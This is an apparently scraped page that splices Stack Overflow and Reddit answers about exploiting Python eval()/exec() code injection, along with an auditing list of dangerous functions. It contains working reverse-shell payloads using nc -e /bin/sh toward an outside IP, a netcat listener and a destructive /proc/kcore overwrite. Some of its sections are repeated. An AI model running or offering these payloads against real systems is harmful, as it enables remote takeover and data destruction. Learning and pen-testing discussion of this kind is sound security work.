Maybe try like this
"__import__('os').system('nc your_ip port -e /bin/sh')"
like;
First listen port fresh terminal
nc -lvp 1234
after try another terminal:
"__import__('os').system('nc 10.10.10.10 1234 -e /bin/sh')"
"__import__('os').system('YOUR REVERSE SHELL METHOD')"
here's many reverse shell payload : https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
good luck
Answer from Noi on Stack OverflowPython - running reverse shell inside eval() - Stack Overflow
security - Exploitable Python Functions - Stack Overflow
Exploit exec()
Two things that come to mind. First you could just try to return a string of html. Or write to index.html? Or maybe ../index.html I dont know, honestly im not sure what you mean but i hope that helps
More on reddit.com[Security Vulnerability] CWE - 94 Code Injection in python_executor Class Due to Unvalidated exec() Usage
Maybe try like this
"__import__('os').system('nc your_ip port -e /bin/sh')"
like;
First listen port fresh terminal
nc -lvp 1234
after try another terminal:
"__import__('os').system('nc 10.10.10.10 1234 -e /bin/sh')"
"__import__('os').system('YOUR REVERSE SHELL METHOD')"
here's many reverse shell payload : https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
good luck
Try to include globals() and locals() in the eval (to import into the global scope). This is explained in In Python, why doesn't an import in an exec in a function work?
Also see https://lucumr.pocoo.org/2011/2/1/exec-in-python/ chapter Behind the Scenes of Imports
right from the pickle documentation:
Warning
The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
eval and exec are the classics. However, open and file can be abused too:
open('/proc/kcore', 'w').write('0' * 1000 * 1000 * 1000)
Then there are the os, sys, subprocess, and dircache modules. Pretty much anything that touches the filesystem or can be used to turn data into executable code (like os.system) is going to be on the list.
As S. Lott pointed out in the comments, writing to the filesystem and executing arbitrary external programs aren't Python-specific. However, they are worth security auditors' consideration. Most of these functions can be safely used without too much concern for security. eval and exec, on the other hand, are great big red flags. Using them safely requires meticulous care.
So im working on a pen testing machine, and the source code of the web server is written on Python3. I managed to get the code, and i found that it use the exec comand like this:
path = "/"
aux = "output: 'Document: {}' "
exec(aux.format(path))
Where the path variable comes from parsing the http request, so using Burp i can hold the request and change it so i can inyect code on the document path field. Im not sure how to exploit that, i already try some print() and stuff, but i dont know where i can read the output. Is there a way to print on browsers console from a python server script, wich use no framework o library ?
Two things that come to mind. First you could just try to return a string of html. Or write to index.html? Or maybe ../index.html I dont know, honestly im not sure what you mean but i hope that helps
Hello! I'm a bot!
It looks to me like your post might be better suited for learnpython, a sub geared towards questions and learning more about python regardless of how advanced your question might be. That said, I am a bot and it is hard to tell. Please follow the subs rules and guidelines when you do post there, it'll help you get better answers faster.
Show learnpython the code you have tried and describe in detail where you are stuck. If you are getting an error message, include the full block of text it spits out. Quality answers take time to write out, and many times other users will need to ask clarifying questions. Be patient and help them help you. Here is HOW TO FORMAT YOUR CODE For Reddit and be sure to include which version of python and what OS you are using.
You can also ask this question in the Python discord, a large, friendly community focused around the Python programming language, open to those who wish to learn the language or improve their skills, as well as those looking to help others.
README | FAQ | this bot is written and managed by IAmKindOfCreative
This bot is currently under development and experiencing changes to improve its usefulness